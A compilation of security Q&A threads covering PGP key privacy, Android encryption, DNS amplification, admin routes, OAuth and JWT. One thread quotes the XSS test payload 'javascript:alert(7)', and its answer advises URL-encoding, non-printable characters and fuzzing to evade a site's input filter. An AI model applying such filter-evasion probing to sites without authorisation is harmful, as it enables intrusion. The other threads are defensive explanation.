Is email published with PGP key? When I generate key it has my email address attached to it. Does it mean, when I publish my public PGP key people also see my email attached to it? From what public keys I saw so far it seems to me everybody can see the address, but I am somehow not sure.

Yup, absolutely. PGP was not designed for anonymity -- quite the opposite in fact, it's designed so you can prove that you are who you say you are, and so people you've never met in person can easily look up your key and send you secure email. The idea of "anonymous PGP keys" doesn't really make sense.

Name and email address are required fields when creating a new key, and they get embedded into the key (along with a photo if you want). There is of course nothing stopping you from putting garbage into these fields if you are trying to hide your identity, but the better PGP clients I've used automatically use the To: and From: fields in the email to decide which keys in your PGP contacts list encrypt for / verify against. Putting in a garbage email address might actually make your key very difficult to use.

For example you can easily find my PGP key by searching my name or email address on the public pgp key servers, this is how the system is designed to work:

pub  4096R/62F715FD 2015-02-24 Mike Ounsworth <ounsworth@gmail.com>

You are not required to publish your key to a key server (but the more you use it, the higher the chance that one of your friends' clients will automatically publish it for you).


Are there actually any advantages to Android full-disk encryption? So, since Android 3, devices can perform boot-time, on-the-fly encryption/decryption of the application storage area (NOT the SDcard/removable storage) - essentially full-disk encryption. This requires a password/passphrase/PIN to be set as the screen unlock code and decryption key, unlock patterns cannot be used.

I have a suspicion that there is actually no benefit to enabling encryption, mainly because the memory chips that serve as the "hard drive" can't be easily removed like real hard drives in computers. I'm wondering if others can comment on my reasoning.

Scenario 1: Device is lost, or stolen by an opportunistic thief (i.e. unsophisticated)
With encryption -> Finder/thief can't gain access
With no encryption but with screen lock -> Finder/thief can't gain access

Scenario 2: Device is stolen by a sophisticated attacker, but they must leave no trace of the attack (therefore chip-off methods are excluded and the phone must be returned before the loss is discovered)
With encryption -> Finder/thief can't gain access
With no encryption but with screen lock -> Finder/thief can't gain access

Scenario 3: Device is stolen by a determined attacker, and the owner made to reveal the passcode under duress. Android doesn't have Truecrypts plausible deniability features.
With encryption -> Attacker gains access
With no encryption but with screen lock -> Attacker gains access

Are there any scenarios I've missed? So my conclusion is that there is no point to enabling full device encryption on Android - a screen lock will do. Discuss! (I am quite happy to be proven wrong, I just can't see how there is a benefit to it)

The advantages are limited, but there are nonetheless scenarios where encryption helps.

In any scenario where the attacker obtains the password¹ (with lead pipe cryptography, or far more realistically by reading the unlock pattern on the screen or brute force on the PIN), there is clearly no advantage to full disk encryption. So how could the attacker obtain the data without obtaining the password?

The attacker might use a software vulnerability to bypass the login screen. A buffer overflow in adbd, say.

The attacker may be able to access the built-in flash memory without booting the device. Perhaps through a software attack (can the device be tricked into booting from the SD card? Is a debug port left open?); perhaps through a hardware attack (you postulate a thief with a lead pipe, I postulate a thief with a soldering iron).

Another use case for full-disk encryption is when the attacker does not have the password yet. The password serves to unlock a unique key which can't be brute-forced. If the thief unwittingly lets the device connect to the network before unlocking it, and you have noticed the theft, you may be able to trigger a fast remote wipe — just wipe the key, no need to wipe the whole device. (I know this feature exists on recent iPhones and Blackberries; presumably it also exists or will soon exist on Android devices with full-disk encryption.)

If you're paranoid, you might even trigger a key wipe after too many authencation failures. If that was you fumbling, you'd just restore the key from backup (you back up your key, right? That's availability 101). But the thief is a lot less likely to have access to your backup than to your phone.

¹  Password, passphrase, PIN, passgesture, whatever.


Ensuring security of web based games and contests I have previously analysed an online contest and found that it was trivial to reverse engineer the handshake process since it was all done in javascript. As a result, it was possible to code an automated client that submits entries repeatedly and cheat the contest. The nature of the contest hinges on submitting as many entries as possible to get a higher chance at winning.

Details of the contest are found here : https://limbenjamin.com/articles/cheat-and-win-samsung-ssd-contest

I would like to know if there is a more secure way to conduct such a contest.

Thanks.

Encryption is not a good way to ban automated clients, because if a browser is able to decrypt the content of the contest, a good bod is able to to the same.

But for the sake of completeness:

A very easy way to eliminate automated scripts would be something only a human can solve.
A very popular way of doing this is a Captcha. From Wikipedia:

  A CAPTCHA [...] is a type of challenge-response test used in computing to determine whether or not the user is human

There are many different types of captchas, some of them are nearly impossible to solve for computers, some of them are relatively easy to solve.
A very good system is recaptcha from Google. It even has a fallback for people who are blind or don't see very well. And by solving a captcha from recaptcha the user even does something good by helping digitizing books.

Sure it is a little bit more work for the human user, too, if there is always a captcha to solve but unfortunately there is not really a good alternative to it.


What are the most sophisticated techniques used by intruders you have found in the wild? I am beginning to get involved in incidents, some of them are APT (Advanced Persistent Threat).

Despite the complexity available in the 'bibliography' and in the conferences or security e-zine, the techniques I've found used by intruders are for the most network break-ins, malware based break in through emails sended to employees of the company or and then steal passwords and break in managed exploiting very old vulnerability on unpatched server.

I've never found Covert Channel or Kernel Rootkit. And for the most part all the backdoors and tools used by the intruders were left in clear on the file system.

What is your experience with incident? Have you found some advanced techniques used by intruders or for the most all break in are maded by using simple and old techniques?

Bog standard virus outbreaks have rootkits, backdoors and covert channels.  It's hard to tell if anyone is even utilizing them since the encrypted communications to the command and control is mysterious enough, and the depth at which you'd have to research it puts that kind of analysis outside of practical security.

Oddly, the IDS didn't pick it up, nor did the traffic pattern analysis... which is IMHO, shameful.  The AV picked it up when the healthy systems got updates and saw infected files on shares.

It would be embarrassing... if the problems were in my control.  I was only responsible for cleanup and documenting the problem.  My recommendations were mostly ignored, but it was executive risk assessment which made that call and I respect it.

I was of course put in front of the firing squad to explain to executives why the IDS system didn't detect anything when a toddler with wireshark could see that all hell was breaking loose.


Does reboot clear RAM? How can I ensure that the whole RAM was zeroed-out? Does a reboot (Power On Self Test) clear whole memory before system is booted? Or does a Linux kernel zero memory before proceeding?

I am familiar with cold boot attack and TRESOR countermeasure. I am merely interested in other, less elaborate ways of clearing memory.

During the POST, the BIOS traditionally performs a "memory test" which entails writing to and rereading the whole of the physical RAM. However, this process can take a non-negligible amount of time, and is rather bad at detecting bad memory (it reliably detects only very bad memory) so it is disabled in many cases (by the computer vendor, or the user). Thus, one must assume that scraps of the RAM contents prior to the last boot may still linger; how much data thus remains depends on the RAM technology, the power down time before the new boot, and the temperature.

The Linux kernel, like most other modern operating systems (including Windows, excluding the Windows from the "95" line), zeroes out the RAM pages before handing them to applications. Thus, while physical RAM contents might contain interesting remnants of past data, this is accessible only to kernel code; userland only sees zeros.


Trust linux images burned from untrusted systems For securitys sake I'm assuming my system is successfully compromised after a targeted and/or non-targeted attack.

I've downloaded some linux images and burned them to do a re-install.
Since I can't trust my compromised system, I have to assume the images are automatically infected. I can't trust checksums since a rootkit could forge the result.

I think the only solution is to ask a friend to verify the cd with the sha256 checksums he/she would download from the linux distributors website after I've burned the cd on my system. This way I verify the image wasn't altered on my or his/her system.

Is this possible? What tools can I use? I've modified this script to calculate a sha256sum but they didn't match.

It is highly, highly unlikely that the malware that has compromised your system would be able to somehow intercept the ISO, modify it, and change the website's file checksum to match. It would also be extremely unlikely that it would be able to modify the ISO while it is burned to a DVD so it will compromise your new OS version.

It would be slightly more believable that the malware would corrupt your browser to direct you to a compromised ISO in the first place for you to download, however that is also pretty unlikely.

In all likelihood you're safe using an ISO you downloaded on your compromised system, however it's unlikely that you're on a desert island with only one computer and a satellite dish for company, so why not research, download, and burn an ISO from a friend's computer? That will eliminate the very slight risk.


Is a public /admin route a security flaw? I have a web application built in a classic MERN stack (MongoDB, Express, React, Node) and I want to create an admin route, so I figured I  could just do it with a [url]/admin route.

Could that be a security risk? Of course the admin users would be prompted with some form of authentication, but having the admin panel as a public route, is that a bad practise?

It is not a security flaw to use a known admin URL. The things that should be secret are the management credentials, not the URL. It's like hiding a door, while really it's the key that you should keep secure.

You can protect the door better using human guards, a perimeter fence, extra secure lock, sturdy walls, etc. This should not give you a false sense of security: the lock should still be secure to let only authorized persons enter, but these measures can help.

Translating them to the digital world, you can put the admin panel behind an IP address whitelist (guards that check ID cards), have multi-factor authentication (extra secure lock), only allow connections through an internal management network interface (a fence), etc.

It slightly helps not to have a known/predictable URL, but this is mainly useful for common applications. If there are ten thousand WordPress websites out there and a security issue is found, then the first thing hacking groups do is send hack attempts to as many /wp-admin pages as possible (the standard WordPress admin URL). If you changed your URL to /wp-admin5839 then your site will not be hit in the first wave with untargeted attacks. Nevertheless, if someone means to hack specifically your site, odds are that they spent time guessing your admin page already or managed to figure it out some other way, and once the security issue becomes known, they will just use it on your hidden page before you have a chance to patch. So it doesn't help a lot, but it does help a little in some specific scenario.


Methods to defend against rogue (mobile clients) I'm currently building a MVP (financial mobile app) and trying to understand the best ways to prevent rogue clients interacting with the server.

When looking at the security of most mobile apps I can see that it's fairly easy to do a MITM attack on these to intercept the communication over SSL.

Some apps seem to prevent these with certificate pinning but that's also very easy to overcome on a jailbroken phone.

(I see that in this  thread Do client certificates provide protection against MITM? it is possible for the server to verify the client - but it appears in practice that virtually no one does this? - not sure why and is it due to possible some inflexibility in pinning a client certificate on the server?)

I can see that a couple of the most secure apps I have looked at, implement certificate pinning on the client, the server then sends an additional public(?) key (which I can see in charles proxy) so most likely a second private-public key exchange, but I can no longer track communications after that. (originally this app like many other financial apps seem to do out-of-bands security via sms).

In short:
1)What are the additional security options available to securing my app which go beyond certificate pinning on the client (and prevent rogue clients accessing the server?) (Excluding jailbreaking prevention).

2) How does the out-of bands- type security work, and how does this give additional protection?

Thanks

TLS Mutual Authentication is the only way where we can ensure the client talking to the server is a legitimate one.

You can perform the following things:

Create a self-signed certificate with certificate signing capabilities(CA=true)

For every user, which wants to connect to you, when it registers for your service for the first time, it needs to create a Certificate Signing Request (CSR) and will give it to you.

You need to sign the CSR using your self-signed certificate and give back the signed certificate. Note that, even if an MITM is listening in between, he will only have the CSR and the signed certificate in hand. To actually impersonate the client, the MITM also needs access to the private key generated while creating the CSR. This private key is never sent to you(and hence never sniffed by the MITM).

Now, whenever a client wants to talk to you, it will send a client hello and asks for your certificate. You'll provide it. Now, you will ask for the client's certificate(Mutual auth). Client will send you its certificate. Now, You will check whether the certificate presented is signed by your self-signed certificate. If so, send a nonce by encrypting it using the public key mentioned in client's certificate.

The encrypted nonce will be decrypted by the client using the private key associated with its public key. It will then encrypt a reply using the public key mentioned in the certificate it received from you(during serverHello/serverCertificate handshake of TLS). and will send you the encrypted reply.

You will decrypt the reply using the private key associated with your public key. If it is the reply you're expecting, then it means its a legitimate client. If not, its an MITM on the other end.

Note that in order to successfully hack the connection and decrypt the contents, the MITM needs the private keys of both the legitimate client and you(server). This is not posible since the private keys are never sent across to each other, and hence the MITM can never sniff it.

Hence a secure communication with legitimate client is established.

Hope this clarifies.


Blocking incoming traffic from privileged port (< 1024) to mitigate DNS DDos Amplification attacks Hope someone can clarify.

As I understand, in a DNS DDos Amplification attacks

Multiple DNS queries are sent to a vulnerable name server with the source IP spoofed to that of the target server.
The name server returns the response (with source port UDP 53) to the target server.
To the target server, the name server has originated a connection with source port UDP 53

For the target server firewall, does it make sense to block all originating traffic with source port 53?
In fact, can we block any incoming traffic that has source port below 1024?

Yes!

If your server is a recursive server, block ALL queries from unknown/untrusted sources, regardless of source port. You should also block queries, even from trusted sources, with a source port of 53.

If your server is an authoritative server, yes, you should still block queries with a source port of 53.

In fact, you should block queries with any privileged source port, and even some unprivileged source ports. For instance, 5060 (SIP) is also a good source port to block.

Here's why:

Your server will send its answer back to the source IP and port. Due to the nature of UDP, both can be forged.

In a DDoS attack on a third party's nameserver, the attacker may forge the victim's IP, and the victim service's (DNS) port (UDP 53) and send a query to your server. Your server will then send the (much larger) answer to victim server, and unwittingly become a weapon in the DDoS attack itself.

The very vast majority of nameservers send queries from a random unprivileged source port..  The mere fact that a query purports to be from UDP 53 is itself a strong indicator that it is malicious.

Blocking in this manner won't do much to protect your server from being the victim of a DDoS, but will do help protect your server from being used to help perpetrate a DDoS


How does the anchor tag () let you do a stored XSS? I was trying to get XSS but and site validate input but when I entered https://google.com the site did this:

https://www.google.com

so I tried to do this:

  javascript:alert(7)

the site did this:

:alert(7)

Does anyone have an idea how to bypass this filter?

If you want to get anywhere in security and finding bugs, bypassing security measures you need to start to get more creative and more experimentative (if that's even an english word).

In this case:

Choose an input.
Feed it through the black box.
Get the output
Make a theory: How does the black box transform my input -> output
Choose a different input and repeat until confident that you're theory is correct.
Adapt/update/change theory with new information from (input, output) pairs.

A possible theory in this case would be that the black box simply replaces https with an empty string. How do we verify this: Well... we enter "hihttpsthere" and see if we get "hithere" as output. But it transform javascript:alert(7) to (//javascript,:alert(7)) so maybe it's splitting at :? Maybe it tries to parse the protocol of the URL? Use some urlencoded stuff, use non-printable characters, maybe even use a fuzzer? It could even be that their filter makes an XSS impossible.. could be. You'll have to find out.

It's all about trial and error.

  I was trying to get xss but site valdiate input

That's what it's supposed to do anyway. You can't expect that you can do an XSS everywhere.


Can I disable access to JS APIs in the browser such as highres timers? In the wake of recent news of CPU bugs like Meltdown and Spectre which rely on precise(-ish) measurments of elapsed time, I find myself in the mood for disabling things like window.performance.now() in my browser (apart from other mitigations, obviously).

Is it possible to disable a particular JS API function in either recent Firefox or Chromium? (Preferably by configuration, but I'm also up for compiling from sources if needed.)
If so, does it make sense to do so?

Before the browsers get patched, you can write a user script to replace these DOM objects with dummies or delete the performance property altogether.

This is mostly a development feature and public website shouldn't need it to function anyways.

However, due to stupid "features" like NaCl/WebAssembly and WebGL, there may be many other ways to do a timing side channel attack in a browser.


What are hardened ACLs for the Windows %systemroot% folder? What are the recommended file permissions for %systemroot% in Windows 8.1? I couldn't find hardened file system permissions to apply to better secure a Windows installation.

No such thing
I don't think that there is an official, Microsoft-supported way of doing this.
Here's an MS blog post that urges users to only use official hardening methods (namely  Security Compliance Manager and Security Configuration Wizard) (And AFAIK even those two don't touch the NTFS ACLs at all.)

Microsoft TechNet, Premier Field Engineering (PFE) blog, 2014-05-29, Why you should avoid manual ‘server hardening’ (Archived here.)

The security baseline for Windows Server 2012 R2 also mentions nothing about NTFS ACLs. So I guess you shouldn't touch them.

Microsoft TechNet, Microsoft Security Guidance blog, 2014-08-16, What's New in Recommended Security Baseline Settings for Windows 8.1, Windows Server 2012 R2, and Internet Explorer 11 (Archived here.)


Digital signatures and truly validating what was actually agreed to I am developing an application and part of signing up requires a user to sign a contract agreement of using the service.

I have been reading around the subject for a few days, and I am fairly happy with all the techniques around digitally signing a document. Some references below

Digitally Sign DATA, Not Documents [closed]

What is the difference between an electronic signature and a digital signature

The one open question I have is how can we truly validate that the data/contract that I present to the user for review is the same as the data/contract that has been signed?

For example, I could implement in my application all the hashing, and PKI required to securely sign the document/data, but what if I decided I wanted to become corrupt and alter the text that was displayed on the webpage (could do this through javascript, or supplying a different pdf to the one that needs to be signed).

I could show the user a completely different data/contract to what is required, then in the backend of my application, sign the correct data. I can then remove the malicious code. If anyone audited my software as a contract was in dispute, they would see I display the correct data/contract and therefore the questionable contract is binding.

I ultimately have control over all aspects of the signing, so really struggling to understand how anything can be more secure than taking my word as a provider that I will not alter the data/contract that is shown to the user.

So with all the security around actually signing the document, it still ultimately comes down to the trust in me as a developer to not maliciously alter the contractual agreement shown to the user.

Have I missed something in my research? Or does it truly come down to trust? In which case why bother digitally signing at all?

UPDATE Based on answer below:

I control the signing process and what i choose to display on the page. I could show a user Document A on the webpage. They click the 'sign now' button. Document B is used in backend and signed. I send user document B via email. They dispute it. They have no way of proving they saw document A as it was displayed on a webpage which I have now removed and replaced with document B. Unless a user is really savvy and hashes the webpage themselves or take a screen capture (most users wouldn't). How can they prove they agreed to document A?

UPDATE Based on accepted answer:

For anyone reading this and also struggling, the one thing I really overlooked here is that I assumed that I could be the keeper of my private key and my customers private key. In hindsight this is obviously just plane wrong. The only way to truly apply a digital signature is to allow both parties to sign with their own private key, and then provide their public key to allow validation of the signature. The problem with this is obviously that many non tech savvy users just wouldn't really know much about digital signatures and how to apply them, so I've had to admit to defeat and downgrade to plain old electronic signature with some SHA256 hashing  to 'seal' it after signing.

If the other party to the document has any sense then they will quickly detect your nefarious behaviour. The whole point of digital signatures is that somebody can verify that the document and signature match.

Lets take an example. I am signing up to a contract on your website. You display the contract (document A) and I agree to it. You then change the terms of the document to your advantage (creating document B) and sign it. You then mail me the document for my record (I'm going to insist on this).

If you mail me document A then the digital signature will not match when I verify it - so my suspicions are aroused.
If you mail me document B then I see that the terms have changed and I challenge it.

The only way for you to send me document A and a signature that matches document B is to find a collision in the signing process, which if a proper process is followed, will be more or less impossible.


Online banking proof of transaction for vertification in court So, when i do an online payment transaction i "sign" my transaction with my digipass using some sort of a MAC (HMAC) with a shared key and some information that is unique for this transaction.

But using this scheme, how can a bank "proof" later (in court for example) that you did this tranaction? The bank has to store the same shared key? With RSA digital signatures they can claim that only i could sign this transaction because only i have the private key matching the public key. But here the key is symmetric (the shared key between you and the bank)?

How is this done? Can it be done? Is there some sort of formal standard that banks use?

Thanks (as always) for your help!

It doesn't prove that you initiated the transaction.  It may be evidence, but not proof that you initiated the transaction.

Read up on non-repudiation, as explained elsewhere on this site: e.g., How to achieve non-repudiation? and What is the difference between authenticity and non-repudiation?  Those pages will explain the many limitations and challenges of achieving non-repudiation.  In particular, you cannot achieve non-repudiation through technical means alone.  Even a digital signature (like RSA) would not be enough for non-repudiation.


Why is it required in OAuth 2.0 that refresh token cannot be guessed? From RFC 6749 (section 10.4):

  The authorization server MUST ensure that refresh tokens cannot be generated, modified, or guessed to produce valid refresh tokens by unauthorized parties.

I don't understand why this is necessary since when the client wants to obtain an access token using the refresh_token grant type, it MUST send a client ID and a secret key in the body of the request, otherwise the request is denied by the authorization server. Unauthorized party would have to somehow acquire the client ID and the secret key.

... since when the client wants to obtain an access token using the refresh_token grant type, it MUST send a client ID and a secret key in the body of the request...

According to RFC 6749 this statement is not entirely true. The refresh token is the only information a client needs to obtain a new access token.

However this is only the case for public clients as defined in section 2.1 of the specification. You could imagine the client id and the client secret as a sort of license to consume an API to provide certain services to your customer. But you need a special permission of every customer to consume their resources from the API. The access token is the representation of this permission. However you would not give your license to consume the API away to a customer. This would be the case in many browser and mobile device applications.


Why is my VPN changing my ipv4 address but not my ipv6? I'm looking for information on this but there's nothing out there. My VPN is working, it changes my IP address, but it only changes my ipv4 address. Google still knows where I am because it lists the ipv6 address instead. Whats going wrong?

Your IPv6 traffic is leaking. This is because most VPN networks are not compatible with IPv6.
To ensure you don’t have IPv6 traffic running outside the VPN tunnel :

Online Service to Check IPv6 Support : http://ip6.nl/
If it says No IPv6 connectivity, your IPv6 traffic isn’t leaking.

If it is leaking, consider disabling it in your operating system:
(google search) : disable ipv6 (your-operating-system)

How to disable IPv6 or its components in Windows
How to disable IPv6 or its components in OSX


Can HTTPS be compromised by first contact? Let's say I am behind my PC and want to go to any secured website (HTTPS).
I have the direct IP address so any possible hack on DNS level is not possible (because I am not using it ;) ).

The packet which is going to the right place (to the secured website) goes through different ISP servers.

Some malicious hacker is sitting on one of those servers between me and the website. He responds with a wrong certificate and tries to make a secure connection with me sitting behind my PC. He is faking that he is the website.

When someone purchased a certificate from VeriSign for example they always asks for a domain name.

From that point I am the only one with a certificate for that domain. A hacker can't purchase a certificate with the same domain name (correct me if this is wrong!!).

So my question is: Is a web browser (Firefox, IE, Chrome, Opera, Safari etc.) capable of detecting that the certificate is not for the corresponding domain, and give an error back that something strange happened along the way?

If you have any more information on this topic, please tell me.

To the best of my knowledge the problem you'll encounter in the described scenario is that certificates don't usually work by IP address

This may vary from site to site, so test against your desired site by browsing to it via IP and seeing if you get a valid HTTPS connection.

The rest of the question is more straightforward - yes browsers will give you a certificate error if there's an issue with the cert. Unfortunately most users just click through these errors because they don't care or know enough to understand the risk.

You are correct in thinking that it's not possible to buy a certificate for a domain someone already has the certificate for - or not from a trusted CA (Certificate Authority) anyway. What an attacker will usually do is self-sign a certificate, so if you inspect it, it will show as being for the correct site, but browsers should throw a warning at you because the CA is untrusted.


Outgoing traffic block - Best policy I'm concerned that in my network some background applications / virus can use my internet connection as malicious backdoor, and then I'm in trouble (i.e. authorities can think that one of my pc has done something illegitimate / illegal) so I've taken the decision to CLOSE all the outgoing connection to the network, except navigation and some other services (skype, email, ecc); but how can I perform this being secure that a virus / backdoor will utilize the ports opened to obtain the above services (ie 80, 483, 25, 143, 587 ecc.)? Should this be made at application level (what for example if a virus simulate to be "outlook.exe" and send an email to the regular port I opened?) What's the best policy for this environment? I would like to setup it in my firewall, and leaving EVERYTHING but the web and other services out. It seems to be a problem bigger than I can handle. Thank you.

What you want to achieve is impossible using a simple firewall that just blocks ports, exactly for the reasons you stated. A smart malicious program installed on your machine will use ports you don't block, e.g. 80, 443 or maybe the various ports used for smtp, although these aren't as reliable as 80 and 443. It might also use udp and masquerade  as DNS lookups.

To catch such traffic, you'd need a firewall that inspects traffic (deep packet inspection). Or you could use an intrusion detection system; these often work by learning what constitutes "normal" traffic and then alerting you when traffic that gows outside these bounds is detected. This might be as simple as alerting you when a lot of connections to different machines are opened, or detect moee complicated patterns.

If you're a private person trying to secure a home network, I'd say the effort isn't worth the gains. It's different for a company network.

Blocking destination ports you don't need on outgoing traffic is a good first step, though, and doesn't have negative consequences. You can also block specific host names or IP adresses to block specific programs from phoning home.


Using specific firefox profile of Tor instead of Torbrowser I create a dedicated profile in Firefox for tor (with firefox -no-remote -p) and configure it to use specific network setting with Edit > Preferences, Advanced > Network > Settings
And then:
manual proxy configuration:
http proxy           port: 0
ssl proxy            port: 0
ftp proxy            port: 0
socks host 127.0.0.1 port: 9050

In addition, I use the plugins NoScript and HTTPS Everywhere, as Torbrowser do.
But, when I open https://check.torproject.org/ with this Firefox’s profile, I get :

Congratulations. This browser is configured to use Tor.
However, it does not appear to be Tor Browser.

So, there is a real reason to use Torbrowser instead of my dedicated Firefox’s profile system?

One major feature of the Tor browser is that it (mostly) avoids browser fingerprinting. By default they all have the same fonts, screen-size, supported extensions ect. With other browser you can often uniquely identify them, see https://panopticlick.eff.org/ for a demonstration. The fingerprint can then allow that user to be tracked, both when using Tor and when not.


How to incorporate the man-in-the-middle I am designing a web-based back-end for an online service.  The service could support web based portals and mobile apps as front end.

But I am stuck on how to support third-party, i.e untrusted, web sites as front end.  In fact the same issue exists with mobile apps, though maybe to a lesser degree.

Briefly the issue is that authentication and authorization should happen at the back-end, and the question is how to ensure that a middle-tier or web portal does not save a user's secret credentials or through some other means can pose as an end user and perform operations that the user is not requesting!

I need to be able to authenticate the end user at the back end and I've currently got a working proof-of-concept, and the registration and authentication processes for this are as follow:

New user connect to public registration page.
Maybe Include JS to generate a public/private key pair?
Authorize access to Oauth provider for basic profile info.
Retrieve user details and populate profile.
User supplies additional info (eg contact number, recovery email address) and their public key to complete the registration process.

And then the Authentication process for a returning user would be something like:

User application (Android or Javascript) builds a JSON formatted request.
Application signs request with user's private key.
Application attaches user's Identification (user-id / open-id / etc) to the request.
Application posts the request to the API (back-end).
API checks that request is authenticated for the specified user (verifies signature)
API checks that requests is authorized.
API processes request and builds response.
API encrypts response using user's public key.
API attaches some basic information (eg API version and request-identifier) to the response.
API returns the response in the user's HTTPS session.

As far as I can tell the problem comes in at step 4.  The Application could submit the request to anywhere, eg a third party web site that adds benefits such as formatting and advanced functions.  But this means the middle tier wil submit multiple queries to the back end on behalf of the end user, build the response, and return that page or report to the user.

By the way I am hoping to leverage two specific benefits from using openid / oauth (which I have not yet got working in my proof-of-concept implementation)

a. Make the registration process easy - user does not need to remember
    a new password and does not need to fill in all their details, just
    the bits the application need that is not supplied by Google+ and
    friends.

b. I do not need to deal with forgotten passwords / password resets in
    99% of cases.  As long as the user have access to their open-id
    account they can regain access to the service.  When connecting from
    a new device, eg a second PC/tablet/whatever, the application
    creates a new public/private key pair and the openid provider party
    gives access to the user's profile.  If the user switches to a new
    openid provider he can use the recovery email address to link a new
    openid URI to his profile on the system.

On the other hand I'm not looking to integrate with other more advanced features of the openid providers at this stage. I really just want a third party to handle the leg-work of identifying users and managing their passwords.

The problem is that the user registers with the back-end through an interface that may not be trusted.  A bad middle tier may potentially substitute a user's public key for a public key that they control the private key for.  How do I design for this kind of situation?  Do I disallow third-party interfaces to the back-end completely (I would prefer not to be involved with the apps and web sites, though I will implement a reference application)

This is what oAuth is for. oAuth lets a third party service request to do certain operations on behalf of a user with the users consent, For example read access to a users contacts.
The third party receives a token which allows it to perform these actions and it is the back end responsibility to validate the token and the actions it is allowed to perform. The token can be time limited and hence even if the third party keeps the token, it becomes useless after it has expired.


What are the advantages of using JWT over Basic Auth with Https? As per my understanding both JWT and Basic Auth used to store login credentials on client side and avoid sessions for better scalability.  I understand with Basic Auth login credentials will be sent along with each request which is a security risk incase of http but with https these credentials will be encrypted which prevents from eavesdropping.Even with JWT token we are sending user credentials with each request. So what are the advantages of using JWT over basic auth with https?

First, as Steffen's comment points out, you don't send credentials (certainly not complete ones, suitable for authentication) in JWTs. I mean, you could, but that both completely misses the point of a JWT and is totally useless. In my years of reviewing many, many web apps and services I have never seen this pattern. I'm really curious where you got the notion that this is a thing people do.
JWTs contain three parts. There's metadata (information about the JSON Web Token), like who issued it and when it is / isn't valid. There's claims (information about the token bearer), which in the most basic form is one field containing an email address or similar identifying string (or sometimes number). Finally there's the signature, which can only be created with knowledge of a secret (either a symmetric HMAC key or an asymmetric digital signature private key) that the user doesn't have, and which prevents the user (or anybody else) from forging or modifying the JWT and having the server still accept it.
Note the total lack in there of anything a user could use to prove their identity (a "credential"). No passwords (as there are in HTTP Basic Auth). No ephemeral user access codes, such as a random string from an email or app or SMS. No sign of user possession of a cryptographic key (such as is used in TLS mutual auth; the only cryptographic key used in a JWT is exclusive to the server). Yes, the claims may contain a user identifier such as a username, but so does the question you posted, the "From" field of any email you send or receive, and the sender info of every SMS. You can't use those (alone) to log in to anything. They aren't credentials, just identifiers. Access to the account behind the email address or username, or the phone behind the number, can be used as a credential, but the identifier itself is not.

So, what are the advantages of JWTs over HTTP Basic Auth? In no particular order:

JWTs are generally specific to one service. If I take a JWT that tells StackExchange that I'm cbhacking and try to use it on GitHub, there is no chance GitHub will consider this valid. Passwords (sadly) get reused all over.
JWTs are time-limited, and expire. If you dig through a dump of some poorly-sanitized logs from months ago and find a JWT I used, it will almost certainly (if the implementer had any sense) long since have expired and thus be basically worthless. If you instead find a basic auth string, odds are pretty good that the password it contains is still valid.
JWTs can be issued by one service and verified by another. This is one of the standard things they're used for, in fact. If you log into a site A via "Sign in with Facebook" or some other SSO (Single Sign-On) provider B, the site A that you're logging into will never see your password; that either goes straight to the SSO provider B, or did at some time in the past (and your session with B is still active). Then B can return a JWT saying "The bearer of this is Arjun, user ID 255431" and signed in a way that A can verify but not create (this is the magic of asymmetric cryptography). Now site A knows who you are - so long as you send the JWT to them - without ever seeing any of your credentials.
JWTs can grant scoped permissions. Suppose I have a calendar online, and since it's my calendar, I can see all the details of events, add and remove events, and so on. Now suppose some third-party app for scheduling calls with clients wants to access my calendar. I want it to know what times I'm available, but I don't want it to know what I'm doing during any particular slot. Maybe I'd let it add and remove those client meetings directly, but it shouldn't be able to remove meetings (or dentist appointments, or vacations, or friends' birthdays) that I added for my own use (nor should it even be able to tell what those are). With basic auth, I'd have to set up multiple unique passwords - one for each service (client meetings, friend birthdays, etc.) that I don't want to give full access to - or else share the main password and then any app that wanted to could take total control. With a JWT, each app can request only the permissions that it needs, and when I approve them it gets a JWT with "scope" claims that limit what the token can be used for.
JWTs can be both secure and fast to verify. Password storage, necessary for basic auth, can't. Symmetric signatures (HMACs) on JWTs are super-fast to verify, usually at most taking a few rounds of hashing. Asymmetric signatures are significantly more expensive to verify, but you can still do them very quickly especially if you use efficient algorithms, without compromising security. Verifying passwords, however, needs to be very slow indeed, because they're too easy to brute-force from a leaked database if you use a fast hash or similar. Thus password hashing is deliberately designed to be computationally expensive - tens of thousands of rounds of hashing is one simple way to do it - and is usually tuned to take somewhere between about 50ms and 250ms per user, on security-conscious sites. As computers get faster, you have to make the password hash even more expensive, too, which isn't a significant concern with JWT signatures. This means that, with basic auth, you have to either add a ton of CPU time spent doing extremely expensive password hashing, or you have to run a very high risk that, if your password database is leaked, people will be able to brute-force the hashes. With JWTs that's not nearly as big a concern (with HMAC-signed JWTs, it's basically not a concern at all).
Relatedly, JWTs can be verified without a database lookup at all. Passwords, including ones sent in basic auth, can't. You can cache them, but that takes server-side resources and breaks down when you have a cluster of servers behind a load balancer. Thus, JWTs are much better for scaling to large numbers of users, where DB hits are relatively expensive and need to be minimized.
Basic auth isn't really compatible with multi-factor authentication (sometimes called two-step authentication or similar). MFA is usually implemented with ephemeral values - one-time codes generated in an app or sent via SMS, challenge nonces sent to hardware tokens or push notifications, etc. - and even if there was a practical way to include the resulting token in the basic auth string (there isn't, for browsers), it would become invalid almost immediately. That's awkward if you want a session to last more than a few minutes before the user has to log in again! With a JWT (or any other session token), you can verify the user's credentials (including MFA) once, and then give them a token good for as long as you want (with JWTs in particular, it's often two tokens: the JWT itself which has a short lifetime, and a refresh token that lasts longer but takes a DB lookup to verify).
A bit of a technical curiosity rather than a deliberate feature of JWT design, but: HTTP Basic Auth is automatically sent by the browser for any request to the relevant domain... even if the request comes from a different domain. This means that there's a risk of CSRF (Cross-Site Request Forgery), where if site X thinks you might be signed into site Y, it can make your browser send requests to Y and Y will think you, the user, did it. This could be used for anything from posting messages on a forum to transferring money between accounts, and it would happen without your awareness. JWTs, by comparison, can be put in lots of different places. Cookies are common, and used to be automatically sent even on requests from other domains (just like Basic Auth), but these days there's the SameSite cookie flag that can be used to control this behavior. JWTs are also often sent in other HTTP request headers (often Authorization - the same one used for basic auth - but sometimes custom ones), and in those cases the requesting client must explicitly specify to send the JWT. Which means the requesting client has to know the full contents of the JWT, because your browser won't just automatically attach it to every relevant request.
